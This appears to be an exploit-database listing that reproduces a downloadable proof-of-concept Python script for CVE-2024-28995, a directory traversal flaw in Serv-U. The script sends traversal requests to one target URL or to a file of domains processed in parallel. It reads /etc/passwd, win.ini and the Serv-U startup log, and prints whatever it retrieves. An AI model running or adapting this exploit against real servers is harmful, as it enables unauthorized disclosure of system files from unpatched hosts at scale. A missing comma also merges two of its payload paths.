Exploit database

GH-b10bd22329a467110896a067d81fbc24

gotr00t0day/cve-2024-28995

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-28995

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
gotr00t0day/cve-2024-28995Revision 56d3c290b2ef

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-28995.py

Suggested starting filePython · 2,972 bytes
from colorama import Fore, Back, Style
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(description="CVE-2024-28995")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File to scan")
args = parser.parse_args()

banner = r"""

                __   _________                             .____________ 
   ____   _____/  |_/   _____/ ______________  __ ____   __| _/\_____   \
  / ___\ /  _ \   __\_____  \_/ __ \_  __ \  \/ // __ \ / __ |    /   __/
 / /_/  >  <_> )  | /        \  ___/|  | \/\   /\  ___// /_/ |   |   |   
 \___  / \____/|__|/_______  /\___  >__|    \_/  \___  >____ |   |___|   
/_____/                    \/     \/                 \/     \/   <___> 

by c0d3ninja

"""

def get_request(url):
    try:
        r = requests.get(url, verify=False, timeout=15)
        return r.text
    except requests.RequestException as e:
        pass
        return None
    
def exploit(url):
    if "https://" not in url:
        url = f"https://{url}"
    
    paths = [
        r"/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", 
        r"/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt",
        r"/?InternalDir=\..\..\..\..\etc&InternalFile=passwd", 
        r"/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd",
        r"/?InternalDir=/../../../../windows&InternalFile=win.ini"
        r"/?InternalDir=\..\..\..\..\etc/passwd"
    ]

    for path in paths:
        full_url = f"{url}{path}"
        print(f"{Fore.WHITE}Trying: {Fore.YELLOW}{full_url}")
        response = get_request(full_url)
        if response:
            if any(indicator in response for indicator in ["root:", "bin:x:", "daemon:", "admin:", "Operating System: Windows Server"]):
                print(f"{Fore.GREEN}[+] Success: {full_url}")
                print(response)
                return
            elif all(section in response for section in ["[fonts]", "[extensions]", "[mci extensions]", "[files]", "[Mail]"]):
                print()
                print(f"{Fore.GREEN}[+] Success (Windows): {full_url}\n")
                print(f"{Fore.YELLOW}{response}")
                return

def main():
    print(f"{Fore.YELLOW}{banner}")
    if args.url:
        exploit(args.url)
    if args.file:
        with open(args.file, "r") as f:
            domains = [line.strip() for line in f.readlines()]
        
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [executor.submit(exploit, domain) for domain in domains]
            for future in as_completed(futures):
                future.result() 
    else:
        print(f"{Fore.RED}[-] Usage: python {__file__} -u <url> or -f <file>")
        exit(1)

if __name__ == "__main__":
    main()